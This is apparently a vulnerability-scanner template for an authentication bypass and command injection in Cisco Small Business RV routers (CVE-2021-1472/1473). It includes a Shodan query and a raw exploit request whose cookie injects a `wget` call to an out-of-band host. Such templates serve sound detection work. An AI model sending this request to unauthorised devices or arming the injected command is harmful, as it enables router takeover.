id: cisco-rv-series-rce

info:
  name: Cisco Small Business RV Series - Authentication Bypass and Command Injection
  author: gy741
  severity: critical
  description: |
    Multiple vulnerabilities exist in the web-based management interface of Cisco Small Business RV Series Routers. A remote
    attacker could execute arbitrary commands or bypass authentication and upload files on an affected device.
  reference:
    - https://www.iot-inspector.com/blog/advisory-cisco-rv34x-authentication-bypass-remote-command-execution/
    - https://packetstormsecurity.com/files/162238/Cisco-RV-Authentication-Bypass-Code-Execution.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-1472
    - https://nvd.nist.gov/vuln/detail/CVE-2021-1473
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 9.8
    cve-id: CVE-2021-1472,CVE-2021-1473
    cwe-id: CWE-119
  metadata:
    verified: true
    shodan-query: http.html:"Cisco rv340"
  tags: cve,cve2021,cisco,rce,auth-bypass,injection

requests:
  - raw:
      - |
        POST /upload HTTP/1.1
        Host: {{Hostname}}
        Cookie: sessionid='`wget http://{{interactsh-url}}`'
        Authorization: QUt6NkpTeTE6dmk4cW8=
        Content-Type: multipart/form-data; boundary=---------------------------392306610282184777655655237536

        -----------------------------392306610282184777655655237536
        Content-Disposition: form-data; name="option"

        5NW9Cw1J
        -----------------------------392306610282184777655655237536
        Content-Disposition: form-data; name="destination"

        J0I5k131j2Ku
        -----------------------------392306610282184777655655237536
        Content-Disposition: form-data; name="file.path"

        EKsmqqg0
        -----------------------------392306610282184777655655237536
        Content-Disposition: form-data; name="file"; filename="config.xml"
        Content-Type: application/xml

        qJ57CM9
        -----------------------------392306610282184777655655237536
        Content-Disposition: form-data; name="filename"

        JbYXJR74n.xml
        -----------------------------392306610282184777655655237536
        Content-Disposition: form-data; name="GXbLINHYkFI"

        <input><fileType>configuration</fileType><source><location-url>FILE://Configuration/config.xml</location-url></source><destination><config-type>config-running</config-type></destination></input>
        -----------------------------392306610282184777655655237536--

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - http

      - type: word
        part: body
        words:
          - '"jsonrpc":'